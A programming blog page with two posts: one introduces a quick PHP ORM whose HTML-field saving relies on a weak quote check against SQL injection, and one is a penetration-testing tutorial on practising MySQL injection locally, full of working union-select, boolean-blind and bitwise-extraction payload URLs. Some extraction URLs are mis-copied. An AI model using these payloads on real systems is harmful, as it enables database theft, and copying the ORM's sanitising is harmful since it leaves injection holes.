Showing posts with label mysql. Show all posts
Showing posts with label mysql. Show all posts

Saturday, November 2, 2013

PHP Database Programming: Introducing 'ormclass'

To begin with, I have a few problems with the traditional web stack. Suppose I wanted to write a feature-rich, user friendly web application -- this requires that I know at least five programming languages:

It doesn't seem right that we need five languages for a singular application, but that aside, the fact that SQL injection is still in the top ten reasons that anything is compromised is pathetic. We are in the year 2013, SQL injection shouldn't much exist anymore. SQL programming can also be a bit cumbersome, for multiple reasons. Enter the ORM. ORM's are designed for two purposes: making SQL data more easily accessible for a programmer from a chosen programming language, in addition to improving overall application security. The problem I have with most ORM's is simple: I still find myself having to write some form of sql-like statements -- even if it isn't traditional SQL itself. For example, in PHP's doctrine ORM, if I wanted to select an article by id 1, the syntax would look something like:

   $article = Doctrine_Query::Create()->select('*')->from('article')->where('id=?')->execute($id)->fetchOne();

The syntax may have changed since I last used Doctrine, but you can see there is still a lot of SQL-like code going on (even if its not direct SQL itself). In this case I have to ask, why didn't we just use the mysql PDO library? At this point, we've added a lot of extra bloat to the application in the form of doctrine ORM; yet we still find ourselves writing SQL (or something similar). For all of that code and RAM consumption, that's not much of an improvement for a developer who just wants to hack out a quick application.

So, I've made my own quick and dirty ORM (available at github). It automatically handles sanitizing for the developer, as well as automatically handling object mapping. Of course, this isn't the best ORM in the world (and I will never make that claim), but it certainly helps for getting some code out quickly and effectively. Its also very tiny. Many improvements can be made to its design, and I will continue to develop this off-and-on as needed for my own applications. The purpose is to effectively eliminate the need to write SQL during (simple) application development.

The ormclass needs a configuration file to be included before it. The configuration is expected to look like:

    $dbhost   = 'localhost';  //Database server hostname
    $database = '';           //Database name
    $dbuser   = '';           //Database username
    $dbpass   = '';           //Database password

    $dbl      = @mysql_connect($dbhost,$dbuser,$dbpass);
    @mysql_select_db($database,$dbl) or die("I'm not configured properly!");

Obviously, you'll have to fill those values in for yourself. I wanted an ORM that would let me do something like the following:

    $article  = new article($_GET['id']);
    # or 
    $article  = new article($_GET['title']);
    # or
    $articles = new article($array_of_ids);
    # or 
    $articles = new article($array_of_titles);
    # or 
    $articles = new article($nested_mixed_array_of_titles_and_ids);    

I also wanted to be able to simply assign properties to the object and save and delete it, or even create new objects. This would also need the capacity for searches, both exact and wildcard. This would (mostly) eliminate the need for writing actual SQL in my application, but also handle some of the tedium of sanitizing for me. Again, I'm aware that this can certainly be done better and if you'd like to contribute to the project, submit a pull request to github. This is a quick and dirty implementation of such an ORM, that allows the programmer some leeway to write logical code in stead of tedious code. There are definitely some places that need work. I've hacked out a version that uses the traditional MySQL library, and I'm working on a version that uses the MySQL PDO library.

The methods and features included in the library include a few subsets of SQL query tedium removal. The following methods are inherited by all classes extending the ORM's class:

  • __construct($arg = null)
  • search($property,$string,$limit = 10, $offset = 0)
  • search_exact($property,$value, $limit = 10, $offset = 0)
  • unsafe_attr($field,$value)
  • fetchAll()
  • fetchRecent($limit = 10)
  • delete()
  • save()

The constructor will automatically check to determine if a method called construct() exists in its child class. If so, it will invoke the function after it has preloaded all of the relevant data into the object. This is how relations can be maintained. Its a bit hackier than most ORM's (there's no configuration file in which you simply state the relations), but it gets the job done and allows the programmer to have control over whether or not relations are followed and child objects are created by default. The ORM requires that every table have an 'id' column. The 'name' column is optional. Here is an example relation:

    class article extends ormclass {
        function construct() {
            $this->author = new author($this->author_id);
        }
    }
  • In this example, you could later:
     $article = new article($id);
     echo $article->author->name; # or other author property.

When you want to create a new record, you can simply pass '0' as the ID for the object, and it will automatically have an ID on instantiation:

    $article = new article(0);

Alternatively, its possible to just call save after a null instantiation (you'd do this if you don't need it to have an ID for relation purposes before the object has attributes):

    $article = new article();
    $article->save();

Similarly to the constructor hook for construct(), there is also a hook for creation of a new record. If you wanted to do something when a new object is inserted into the database, you could add a function called creation() to the class, and it would be called any time a new record is created in the database.

The difference between unsafe_attr() and save() is relatively simple. If there is HTML allowed in a field, for example $article->body, then you'd want to use the unsafe_attr() function to save that particular field (save() will autosanitize against XSS). When using unsafe_attr(), because this uses the normal SQL library (and not PDO), you will need to make sure that your html contains exclusively single quotes or exclusively double quotes, it doesn't particularly matter which. The function does do checks to ensure you aren't using both to prevent sql injection, and returns false if both are in use. This bug is the primary reason I'm developing a PDO version separately (besides standards, we cant forget those). This ORM also has a performance/feature trade off. Because I wanted it to be able to handle nested arrays, the collection function runs an arbitrarily large amount of SQL queries. I can provide a version that doesn't do this (but will also be unable to handle nested arrays) on request, since I'm sure people will not want the performance hit; however because I am working on a PDO version, I'd rather make that a loader option in that rendition for how collections are handled. This also currently only auto-sanitizes strings and integers; better sanitizing will come in the PDO version (hence my describing this as "Quick and Dirty").

This ORM does not have any scaffolding. This means that you will have to create the database and the associated tables yourself before this ORM can access the data. It does not auto-generate tables or class files. If you have an existing database and you'd like to auto-generate the class files, something like the following line of bash should suffice:

mysql dbname -e 'show tables'|grep -v dbname|awk '{print "<?php\nclass "$0" extends ormclass {\n\n}\n?>"}' > objects.php

In closing, the point of this was simply to prove that SQL statements can actually be eliminated from the high-level code entirely; and to provide some easily accessible API. The PDO version should be able to handle a few more complex tasks, like table scans and complex joins to create meta-objects from multiple tables. I also plan to extend the compatibility to include PostgreSQL and perhaps even port this to additional programming languages. At any rate, please enjoy your newfound ability to kick back and lazily write database powered applications. Happy hacking.

Friday, August 23, 2013

Using MySQL locally for testing SQL injection techniques and syntaxes

The largest reason for writing this is to show active penetration testers methods of testing things locally before they test them remotely, or if they want to write their own scripts. I'm not going into all of this in detail, more in-depth research is listed at the end of this document.

Creating a test environment

mysql> create database injection_tests;
Query OK, 1 row affected (0.00 sec)

mysql> use injection_tests;
Database changed
mysql> create table injectable (id int auto_increment primary key, value varchar(255));
Query OK, 0 rows affected (0.09 sec)

mysql> insert into injectable values(null, 'This is the first record');
Query OK, 1 row affected (0.04 sec)

mysql> insert into injectable values(null, 'This is the second record');
Query OK, 1 row affected (0.05 sec)

mysql> insert into injectable values(null, 'This is the third record');
Query OK, 1 row affected (0.05 sec)


mysql> select * from injectable;
+----+---------------------------+
| id | value                     |
+----+---------------------------+
|  1 | This is the first record  |
|  2 | This is the second record |
|  3 | This is the third record  |
+----+---------------------------+
3 rows in set (0.00 sec)

Information gathering: select concat(version(),0x3a,database())

Our test VM:

mysql> select concat(version(),0x3a, database());
+-----------------------------------------+
| concat(version(),0x3a, database())      |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

In band: Union Select

In band injections are non-blind injections that will return raw data to the page. In some cases, such as a subqueried or staged query being used to determine information, union select will not work because it will not assign a proper value.

For our in-band injection, we will assume the following url shows the following data on the page:

  • http://domain.tld/injectable.ext?id=1
mysql> select value from injectable where id=1;
+--------------------------+
| value                    |
+--------------------------+
| This is the first record |
+--------------------------+
1 row in set (0.00 sec)

So first we need to empty the results to make union select properly append the correct amount of data:

  • http://domain.tld/injectable.ext?id=-1
mysql> select value from injectable where id=-1;
Empty set (0.00 sec)

Now to see how a union select query works:

mysql> select value from injectable where id=-1 union select concat(version(),0x3a, database());
+-----------------------------------------+
| value                                   |
+-----------------------------------------+
| 5.5.32-0ubuntu0.12.04.1:injection_tests |
+-----------------------------------------+
1 row in set (0.00 sec)

If the input you're tampering with on vulnerable.tld/injectable.ext is vulnerable to in-band injection, you should be able to go to:

  • http://domain.tld/injectable.ext?id=-1 union select concat(version(),0x3a,database());

Where the data normally appears that says "This is the first record" in the html output, you will now find a piece of text that says "5.5.32-0ubuntu0.12.04.1:injection_tests"; the text before the colon (:) is the version, and the text after is the database name.

Out of band

There are two types of out of band (blind) vulnerabilities, and both types have two methods of exploitation: enumeration and extraction. The two types consist of partially blind injection and full blind injection. Partially blind injection results when the result of the page output is the result of multiple queries. Full blind injection requires timing attacks.

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Partial blind

Partially blind injection results when the result of the page output is the result of multiple queries. For this we will modify the injectable table:

mysql> alter table injectable add column comment varchar(255);
Query OK, 3 rows affected (0.30 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> update injectable set comment="this is the first comment" where id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the second comment" where id=2;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set comment="this is the third comment" where id=3;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=This is the first record
mysql> select id from injectable where value='This is the first record';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select comment from injectable where id=1; # id=1 comes from the above query
+---------------------------+
| comment                   |
+---------------------------+
| this is the first comment |
+---------------------------+
1 row in set (0.00 sec)

Boolean enumeration

Boolean enumeration takes 1 request per bit to determine a value. While this creates to a larger number of requests and is therefore highly obvious in logs, its a bit easier than bitwise extraction in this particular instance. In this case union select isn't going to work, and here's why:

mysql> select id from injectable where value='This is the nonexistent record' union select concat(version(),0x3a,database());

mysql> select comment from injectable where id=5.5.32-0ubuntu0.12.04.1:injection_tests;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '.32-0ubuntu0.12.04.1:injection_tests' at line 1

You won't see a query error, you just wont see data on the page when you visit the injectable query. So back to sql, our target value will again be the output of "concat(version(),0x3a,database())", or "5.5.32-0ubuntu0.12.04.1:injection_tests". This is obviously going to be a different string in your target, but this article is about developing your technique locally. So, lets just get the first letter with a normal query:

mysql> select mid((select concat(version(),0x3a,database())),1,1);
+-----------------------------------------------------+
| mid((select concat(version(),0x3a,database())),1,1) |
+-----------------------------------------------------+
| 5                                                   |
+-----------------------------------------------------+
1 row in set (0.00 sec)

To get its ascii code:

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

Remember, we're usually only injecting into the first query. As our first example we'll look at:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127';
Empty set (0.00 sec)

Notice it returns an empty dataset, but if we change our comparison to less than:

mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

That's because the ascii value, '53', is less than 127 - hence the normal result from the query is returned, and the text of the first comment is displayed on the page.

These urls would be represented as:

  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127
  • http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127

Bitwise extraction via comparative precomputation

In this case we'll use the same query as our last examples, "select id from injectable where value='This is the first record'". So in this case we have 3 records:

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    |
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
|  2 | This is the second record | this is the second comment |
|  3 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Lets make this a little more realistic:

mysql> update injectable set id=23 where value='This is the second record';
Query OK, 1 row affected (0.10 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> update injectable set id=93 where value='This is the third record';
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from injectable;
+----+---------------------------+----------------------------+
| id | value                     | comment                    | 
+----+---------------------------+----------------------------+
|  1 | This is the first record  | this is the first comment  |
| 23 | This is the second record | this is the second comment |
| 93 | This is the third record  | this is the third comment  |
+----+---------------------------+----------------------------+
3 rows in set (0.00 sec)

Now the ID's aren't in perfect order. Notice we only have three records-- that's ok. We can still make it so it requires less queries to determine the same amount of data. In stead of using bit shifts, we'll use division and modulus. Before we go there though, lets do a little join query :

mysql> select *,@v:=@v+1 as pos from injectable y join (select @v:=0) k;
+----+---------------------------+----------------------------+-------+------+
| id | value                     | comment                    | @v:=0 | pos  |
+----+---------------------------+----------------------------+-------+------+
|  1 | This is the first record  | this is the first comment  |     0 |    1 |
| 23 | This is the second record | this is the second comment |     0 |    2 |
| 93 | This is the third record  | this is the third comment  |     0 |    3 |
+----+---------------------------+----------------------------+-------+------+
3 rows in set (0.00 sec)

Notice that the position indicated is 1,2, and 3- this is the actual row number, not the id stored in the table. This is important because now we can apply it to our original query, this time going after the second record:

mysql> select id from injectable where value='This is the second record';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

    
mysql> select id from injectable where value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2);
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

This will still display the second comment because the id returned matches the text, however it does not contain the text at all. To fix the issue with quotes in the url,

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1

Notice this just gets you the second record displayed. If you wanted to crawl the records (necessary for precomputation), you could simply increment the WHERE statement in the query where it says "where pos=2":

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=1) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1';
+----+
| id |
+----+
| 23 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=3) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)

Now for this new trick I'm about to show you to work, we have to realize that the maximum value of our rows is 3. Notice when we go to 4 there is an empty dataset, which would force the return of no comment on the page:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=4) and '1'='1';
Empty set (0.00 sec)

So in this particular example, we can actually use the "null" value as a fourth value. The same result applies when we place pos=0, and therefore we can use it as a 0-3 counter. Boolean enumeration bases its findings on yes or no answers (true or false) which results in it taking one request to determine the value of one bit. But in this case, we actually have the access to two bits of data, because we are using the null value as a placeholder for 0. The maximum value of a nybble (4 bits) is 15. So, it can only go into 4 using integer division 0-3 times. Not only that, but the value of 15 modulus 4 can also only be 0-3. So first lets concentrate on selecting a single nibble of data.

mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1));
+------------------------------------------------------------+
| ascii(mid((select concat(version(),0x3a,database())),1,1)) |
+------------------------------------------------------------+
|                                                         53 |
+------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select hex(mid((select concat(version(),0x3a,database())),1,1));
+----------------------------------------------------------+
| hex(mid((select concat(version(),0x3a,database())),1,1)) |
+----------------------------------------------------------+
| 35                                                       |
+----------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1);
+-------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) |
+-------------------------------------------------------------------+
| 3                                                                 |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

Now integer division would tell us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4;
+-------------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4 |
+-------------------------------------------------------------------------+
|                                                                       0 |
+-------------------------------------------------------------------------+
1 row in set (0.00 sec)

And modulus tells us:

mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4;
+-----------------------------------------------------------------------+
| mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4 |
+-----------------------------------------------------------------------+
|                                                                     3 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

So we can say the first query results in 0, so 0 * 4 = 0, then add the remainder (the modulus) 3. How do we know what we got? Well, the first injected query, looking something like:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1';
Empty set (0.00 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1

The page returns nothing because of the empty set, and we know the value of our division by 4 is zero. So, 0 * 4 = 0, and we will just add the 3. We can get the three from:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4)) and '1'='1';
+----+
| id |
+----+
| 93 |
+----+
1 row in set (0.01 sec)
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Which returns the third comment, and therefore you know the value of pos is 3. Now we know the first nybble is 3, onto the second:

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) % 4)) and '1'='1';
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

So for our formula, dividend * 4 + modulus, we can say 1 * 4 + 1, or 5. The url's to obtain this would be:

  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1

Respectively. Both pages return the first comment, so you can say the result is 5. Now we've calculated a byte. We had only 3 records in the database, but it only took us four requests to get a byte:


  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1
  • http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) %25 4)) and '1'='1

So given that you only had the values of two bits to work with, 0-3, derived from 3 records and a null output, you could still easily retrieve two bits of data per request (2 * 4 = 8 bits = 1 byte).


Extra resources

: